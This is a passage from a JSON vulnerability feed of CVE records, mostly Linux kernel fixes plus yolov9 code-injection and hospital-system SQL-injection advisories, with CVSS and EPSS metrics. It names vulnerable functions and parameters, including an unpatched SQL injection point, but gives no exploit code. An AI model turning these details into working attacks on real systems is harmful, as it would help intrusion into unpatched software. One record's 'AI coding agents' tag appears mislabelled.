beyond the current context to\na handler.  The QFid handler also used a full response-structure cast\nalthough it only reads DiskFileId.\n\nThe SMB2/SMB3 lease parsers made the same layout assumption: they read\nLeaseState and LeaseFlags at canonical offsets rather than at\nDataOffset.  A valid non-canonical DataOffset could therefore yield\nunrelated in-bounds data, while a short DataLength was still accepted.\n\nLimit each context to its Next value, reject offsets before the context\nheader, and reject malformed chains.  Bound the name range by the current\ncontext and do not dispatch a known handler when DataLength is zero.  Read\nthe QFid DiskFileId only when the context data covers that field.  Parse the\nlease context from DataOffset and require DataLength to match the v1 or v2\nlease_context size used by ksmbd.  A size mismatch skips lease parsing\nwithout failing the open.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: client: fix create context out-of-bounds reads\n\nsmb2_parse_contexts() validates the complete create-context area but\ndoes not limit each record to its Next field before dispatching it.  A\nmalformed chain can therefore expose bytes beyond the current context to\na handler.  The QFid handler also used a full response-structure cast\nalthough it only reads DiskFileId.\n\nThe SMB2/SMB3 lease parsers made the same layout assumption: they read\nLeaseState and LeaseFlags at canonical offsets rather than at\nDataOffset.  A valid non-canonical DataOffset could therefore yield\nunrelated in-bounds data, while a short DataLength was still accepted.\n\nLimit each context to its Next value, reject offsets before the context\nheader, and reject malformed chains.  Bound the name range by the current\ncontext and do not dispatch a known handler when DataLength is zero.  Read\nthe QFid DiskFileId only when the context data covers that field.  Parse the\nlease context from DataOffset and require DataLength to match the v1 or v2\nlease_context size used by ksmbd.  A size mismatch skips lease parsing\nwithout failing the open.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T16:16:55.757Z","updatedAt":"2026-10-24T14:16:42.543Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-98454","asOf":"2026-10-24T14:16:42.543Z"},"epss":{"probability":0.00344,"percentile":0.27679,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-98454&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-98454","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-98454","type":"primary","publishedAt":"2026-10-18T16:16:55.757Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-98454&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-98454, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-98451","cveId":"CVE-2026-98451","aliases":[],"kind":"vulnerability","title":"Linux kernel: smb: client: use finish_no_open() for non-regular inodes","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: client: use finish_no_open() for non-regular inodes\n\nAn O_CREAT open can find an existing symlink or another non-regular\ninode. cifs_atomic_open() calls finish_open() on it and attaches a\ncifsFileInfo. Symlink inodes have no CIFS release operation, so the\ndentry reference held by cifsFileInfo is leaked. FMODE_OPENED also\nprevents the VFS from following the symlink.\n\nTrack whether cifs_do_create() returned an open server handle. For\nnon-regular inodes, close the handle if present, remove the pending\nopen, and call finish_no_open() so the VFS can continue the lookup.\nDo not set FMODE_CREATED unless a regular file was opened. For\nO_NOFOLLOW with __O_REGULAR, return -ELOOP before the VFS's\n-EFTYPE check.\n\nDefer closing a legacy POSIX handle on a non-regular inode until\nafter inode lookup. This avoids closing it again if lookup fails.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: client: use finish_no_open() for non-regular inodes\n\nAn O_CREAT open can find an existing symlink or another non-regular\ninode. cifs_atomic_open() calls finish_open() on it and attaches a\ncifsFileInfo. Symlink inodes have no CIFS release operation, so the\ndentry reference held by cifsFileInfo is leaked. FMODE_OPENED also\nprevents the VFS from following the symlink.\n\nTrack whether cifs_do_create() returned an open server handle. For\nnon-regular inodes, close the handle if present, remove the pending\nopen, and call finish_no_open() so the VFS can continue the lookup.\nDo not set FMODE_CREATED unless a regular file was opened. For\nO_NOFOLLOW with __O_REGULAR, return -ELOOP before the VFS's\n-EFTYPE check.\n\nDefer closing a legacy POSIX handle on a non-regular inode until\nafter inode lookup. This avoids closing it again if lookup fails.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T16:16:55.437Z","updatedAt":"2026-10-24T14:16:42.393Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-98451","asOf":"2026-10-24T14:16:42.393Z"},"epss":{"probability":0.00354,"percentile":0.28814,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-98451&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-98451","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-98451","type":"primary","publishedAt":"2026-10-18T16:16:55.437Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-98451&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-98451, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-98443","cveId":"CVE-2026-98443","aliases":[],"kind":"vulnerability","title":"Linux kernel: xfs: fix cursor and pointer handling when recovering iunlink buckets","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nxfs: fix cursor and pointer handling when recovering iunlink buckets\n\nLOLLM pointed out a bug in xlog_recover_iunlink_bucket:\n\n1. We don't null out prev_ip after releasing it, which can lead to UAF\n   problems if the inodegc flush call in the loop fails.\n\nat which point I noticed even more bugs:\n\n2. If the inodegc flush inside the loop fails, we also leak @ip.\n\n3. We set prev_agino to agino having already advanced agino, which\n   results in inodes with i_prev_unlinked set to itself.\n\n4. If we exit the bottom of the loop with prev_ip set, then prev_ip\n   aliases ip and we also set its i_prev_unlinked to itself.\n\nBugs 3 and 4 introduce loops into the unlinked list, though these loops\ndon't surface because we immediately flush each unlinked inode after\nloading it.\n\nFix all of these issues.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nxfs: fix cursor and pointer handling when recovering iunlink buckets\n\nLOLLM pointed out a bug in xlog_recover_iunlink_bucket:\n\n1. We don't null out prev_ip after releasing it, which can lead to UAF\n   problems if the inodegc flush call in the loop fails.\n\nat which point I noticed even more bugs:\n\n2. If the inodegc flush inside the loop fails, we also leak @ip.\n\n3. We set prev_agino to agino having already advanced agino, which\n   results in inodes with i_prev_unlinked set to itself.\n\n4. If we exit the bottom of the loop with prev_ip set, then prev_ip\n   aliases ip and we also set its i_prev_unlinked to itself.\n\nBugs 3 and 4 introduce loops into the unlinked list, though these loops\ndon't surface because we immediately flush each unlinked inode after\nloading it.\n\nFix all of these issues.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T16:16:54.620Z","updatedAt":"2026-10-24T14:16:42.230Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel","AI coding agents"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-98443","asOf":"2026-10-24T14:16:42.230Z"},"epss":{"probability":0.00135,"percentile":0.02967,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-98443&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-98443","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-98443","type":"primary","publishedAt":"2026-10-18T16:16:54.620Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-98443&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-98443, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-98442","cveId":"CVE-2026-98442","aliases":[],"kind":"vulnerability","title":"Linux kernel: net/sched: act_ct: fix helper UAF due to extensions realloc","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nnet/sched: act_ct: fix helper UAF due to extensions realloc\n\nWhile calling the helpers, a raw pointer to the extensions area is\nwired into expectations list:\n\n  -> nf_ct_helper()\n   -> helper->help()\n    -> nf_ct_expect_related_report()\n     -> nf_ct_expect_insert()\n      -> hlist_add_head_rcu(&exp->lnode, &master_help->expectations)\n\nIn case the connection is not confirmed yet, more extensions can be\nadded afterwards with *_ext_add() calls reallocating the extension\nspace and leaving the now invalid pointer in the expectations list\nthat is later accessed while removing the expectation.\n\nMake sure that helpers are called at the end after all the other\nextensions are already added.\n\nNote that the helper rejection now leaves the mark and labels set,\nbut that's not different from how the NAT was handled before or how\nthe mark and the labels were handled on confirmation failure.  And\nthere are no atomicity guarantees provided by the API anyway.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nnet/sched: act_ct: fix helper UAF due to extensions realloc\n\nWhile calling the helpers, a raw pointer to the extensions area is\nwired into expectations list:\n\n  -> nf_ct_helper()\n   -> helper->help()\n    -> nf_ct_expect_related_report()\n     -> nf_ct_expect_insert()\n      -> hlist_add_head_rcu(&exp->lnode, &master_help->expectations)\n\nIn case the connection is not confirmed yet, more extensions can be\nadded afterwards with *_ext_add() calls reallocating the extension\nspace and leaving the now invalid pointer in the expectations list\nthat is later accessed while removing the expectation.\n\nMake sure that helpers are called at the end after all the other\nextensions are already added.\n\nNote that the helper rejection now leaves the mark and labels set,\nbut that's not different from how the NAT was handled before or how\nthe mark and the labels were handled on confirmation failure.  And\nthere are no atomicity guarantees provided by the API anyway.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T16:16:54.503Z","updatedAt":"2026-10-24T14:16:42.080Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-98442","asOf":"2026-10-24T14:16:42.080Z"},"epss":{"probability":0.00129,"percentile":0.02522,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-98442&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-98442","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-98442","type":"primary","publishedAt":"2026-10-18T16:16:54.503Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-98442&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-98442, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-98441","cveId":"CVE-2026-98441","aliases":[],"kind":"vulnerability","title":"Linux kernel: net/sched: act_ct: avoid modifying shared unconfirmed ct entry","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nnet/sched: act_ct: avoid modifying shared unconfirmed ct entry\n\nIn a case where skb with an unconfirmed ct entry gets cloned, we may\nend up processing both again but with different sets of extensions.\n\nThe series of events:\n\n 1. The first clone wants to commit and runs the helpers wiring up\n    the extension pointer into the expectation list.\n 2. Then it looses the confirmation keeping the entry unconfirmed.\n 3. Second clone now wants to commit labels or run NAT and adds the\n    new extension for that breaking the pointer in the expectation\n    list causing UAF on the destruction path later.\n\nWhile this is possible to trigger, there should be no practical\nnetwork pipeline where we need to process both clones without\nmodifications in the same zone.  So, let's just reset the entry in\ncase for some reason we got an skb with a shared one.  This doesn't\naffect any known use cases, but avoids any potential problems with\nsharing and modification of the unconfirmed ct entry.\n\nUnlike openvswitch module, act_ct allows for NAT without commit.\nChanging that would be a uAPI break.  So, act_ct needs to reset on NAT\nregardless of the commit flag to avoid reallocation of the extension\nspace.  This, however, doesn't really change the picture for sensible\nnetworking cases as there should be no need to run the same packet\ntwice (before and after the clone) through conntrack without packet\nheader or zone changes and without commit.\n\nThe fixes tag points to the introduction of helpers, since that's the\nmain UAF trigger for the sharing.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nnet/sched: act_ct: avoid modifying shared unconfirmed ct entry\n\nIn a case where skb with an unconfirmed ct entry gets cloned, we may\nend up processing both again but with different sets of extensions.\n\nThe series of events:\n\n 1. The first clone wants to commit and runs the helpers wiring up\n    the extension pointer into the expectation list.\n 2. Then it looses the confirmation keeping the entry unconfirmed.\n 3. Second clone now wants to commit labels or run NAT and adds the\n    new extension for that breaking the pointer in the expectation\n    list causing UAF on the destruction path later.\n\nWhile this is possible to trigger, there should be no practical\nnetwork pipeline where we need to process both clones without\nmodifications in the same zone.  So, let's just reset the entry in\ncase for some reason we got an skb with a shared one.  This doesn't\naffect any known use cases, but avoids any potential problems with\nsharing and modification of the unconfirmed ct entry.\n\nUnlike openvswitch module, act_ct allows for NAT without commit.\nChanging that would be a uAPI break.  So, act_ct needs to reset on NAT\nregardless of the commit flag to avoid reallocation of the extension\nspace.  This, however, doesn't really change the picture for sensible\nnetworking cases as there should be no need to run the same packet\ntwice (before and after the clone) through conntrack without packet\nheader or zone changes and without commit.\n\nThe fixes tag points to the introduction of helpers, since that's the\nmain UAF trigger for the sharing.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T16:16:54.393Z","updatedAt":"2026-10-24T14:16:41.920Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-98441","asOf":"2026-10-24T14:16:41.920Z"},"epss":{"probability":0.00133,"percentile":0.02844,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-98441&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-98441","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-98441","type":"primary","publishedAt":"2026-10-18T16:16:54.393Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-98441&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-98441, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-98440","cveId":"CVE-2026-98440","aliases":[],"kind":"vulnerability","title":"Linux kernel: KVM: arm64: nv: Delay freeing of shadow S2 structures until VM destruction","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: arm64: nv: Delay freeing of shadow S2 structures until VM destruction\n\nWe free the shadow S2 structures from kvm_arch_flush_shadow_all(), which\nis a Bad Idea(tm). Freeing the page tables is fair game (this is what\nthis callback is for), but freeing the container that could still be\nreferenced by another part of the system is not great.\n\nInstead, grow separate destructors that gets called when we tear the VM\ndown for good. From there, we can nuke both the individual MMUs as well\nas the global array that points to them, safe in the knowledge that the\nvcpus themselves have been destroyed already.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: arm64: nv: Delay freeing of shadow S2 structures until VM destruction\n\nWe free the shadow S2 structures from kvm_arch_flush_shadow_all(), which\nis a Bad Idea(tm). Freeing the page tables is fair game (this is what\nthis callback is for), but freeing the container that could still be\nreferenced by another part of the system is not great.\n\nInstead, grow separate destructors that gets called when we tear the VM\ndown for good. From there, we can nuke both the individual MMUs as well\nas the global array that points to them, safe in the knowledge that the\nvcpus themselves have been destroyed already.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T16:16:54.287Z","updatedAt":"2026-10-24T14:16:41.777Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-98440","asOf":"2026-10-24T14:16:41.777Z"},"epss":{"probability":0.00122,"percentile":0.0193,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-98440&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-98440","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-98440","type":"primary","publishedAt":"2026-10-18T16:16:54.287Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-98440&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-98440, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-98436","cveId":"CVE-2026-98436","aliases":[],"kind":"vulnerability","title":"Linux kernel: accel/amdxdna: Disable device buffer exporting","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\naccel/amdxdna: Disable device buffer exporting\n\nDevice buffers are never intended to be exported. Disable exporting\nsupport explicitly.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\naccel/amdxdna: Disable device buffer exporting\n\nDevice buffers are never intended to be exported. Disable exporting\nsupport explicitly.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T15:16:53.397Z","updatedAt":"2026-10-26T07:17:10.860Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-98436","asOf":"2026-10-26T07:17:10.860Z"},"epss":{"probability":0.00112,"percentile":0.0139,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-98436&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-98436","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-98436","type":"primary","publishedAt":"2026-10-18T15:16:53.397Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-98436&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-98436, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111991","cveId":"CVE-2026-111991","aliases":[],"kind":"vulnerability","title":"A security vulnerability has been detected in WongKinYiu yolov9 0.1. This vulnerability affects the function DetectMultiBackend.__init__ of the file models/common.py of the...","summary":"A security vulnerability has been detected in WongKinYiu yolov9 0.1. This vulnerability affects the function DetectMultiBackend.__init__ of the file models/common.py of the component ONNX Metadata Handler. The manipulation of the argument names/stride leads to code injection. Remote exploitation of the attack is possible. The exploit has been disclosed publicly and may be used. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A security vulnerability has been detected in WongKinYiu yolov9 0.1. This vulnerability affects the function DetectMultiBackend.__init__ of the file models/common.py of the component ONNX Metadata Handler. The manipulation of the argument names/stride leads to code injection. Remote exploitation of the attack is possible. The exploit has been disclosed publicly and may be used. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T15:16:52.853Z","updatedAt":"2026-10-22T03:16:32.663Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":2.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111991","asOf":"2026-10-22T03:16:32.663Z"},"epss":{"probability":0.00381,"percentile":0.31827,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111991&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111991","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111991","type":"primary","publishedAt":"2026-10-18T15:16:52.853Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111991&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111991, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111990","cveId":"CVE-2026-111990","aliases":[],"kind":"vulnerability","title":"A weakness has been identified in kishan0725 Hospital Management System up to 777fda46b77a820977a5ba616283dbfbc40bf7e1. This affects the function mysqli_query of the file...","summary":"A weakness has been identified in kishan0725 Hospital Management System up to 777fda46b77a820977a5ba616283dbfbc40bf7e1. This affects the function mysqli_query of the file admin-panel.php of the component Appointment Cancellation Handler. Executing a manipulation of the argument ID can lead to sql injection. The attack may be launched remotely. The exploit has been made available to the public and could be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A weakness has been identified in kishan0725 Hospital Management System up to 777fda46b77a820977a5ba616283dbfbc40bf7e1. This affects the function mysqli_query of the file admin-panel.php of the component Appointment Cancellation Handler. Executing a manipulation of the argument ID can lead to sql injection. The attack may be launched remotely. The exploit has been made available to the public and could be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T15:16:52.693Z","updatedAt":"2026-10-19T18:17:00.730Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111990","asOf":"2026-10-19T18:17:00.730Z"},"epss":{"probability":0.00254,"percentile":0.16757,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111990&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111990","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111990","type":"primary","publishedAt":"2026-10-18T15:16:52.693Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 